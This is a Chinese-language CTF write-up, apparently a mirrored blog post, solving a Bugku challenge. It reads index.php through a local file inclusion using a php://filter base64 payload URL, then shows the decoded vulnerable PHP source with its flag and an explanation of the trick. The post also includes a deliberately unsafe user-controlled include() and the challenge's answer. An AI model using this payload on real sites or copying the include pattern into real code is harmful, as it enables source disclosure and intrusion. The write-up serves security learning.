码迷,mamicode.com
首页 > 其他好文 > 详细

bugkuctf flag在index里

时间:2020-02-12 14:47:35      阅读:71      评论:0      收藏:0      [点我收藏+]

标签:http   漏洞   回文   ase   image   exit   report   ctf   用户控制   

题目

技术图片

 

点击后

技术图片

 

 本题是典型的本地文件包含漏洞+php伪协议的结合应用

http://123.206.87.240:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php

技术图片

 

 使用base64解码

<html>
    <title>Bugku-ctf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo ‘<a href="./index.php?file=show.php">click me? no</a>‘;}
    $file=$_GET[‘file‘];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

 

bugkuctf flag在index里

标签:http   漏洞   回文   ase   image   exit   report   ctf   用户控制   

原文地址:https://www.cnblogs.com/93wen/p/12298873.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!